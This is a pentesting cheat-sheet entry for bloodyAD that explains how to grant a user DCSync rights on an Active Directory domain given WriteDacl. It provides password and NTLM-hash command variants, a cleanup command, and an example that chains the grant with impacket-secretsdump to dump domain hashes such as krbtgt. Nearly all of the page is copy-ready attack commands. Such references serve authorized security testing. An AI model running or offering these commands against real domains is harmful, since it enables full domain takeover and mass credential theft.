Command Manager

bloodyAD Grant DCSync

Grant a target principal the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain object — i.e. give them DCSync. Requires WriteDacl on the domain. Pair with secretsdump for instant krbtgt extraction.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
bloodyAD
Category
Privilege Escalation / ACL / DACL Abuse
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add dcsync <target_user>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

bloodyAD --host <dc-ip> -d <domain> -u <user> -p :<hash> add dcsync <target_user>

Cleanup requires password

bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> remove dcsync <target_user>

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add dcsync jdoe
impacket-secretsdump -just-dc 'corp.local/jdoe:Password123!@10.10.10.10'

Tags

bloodyad dcsync acl writedacl privesc

References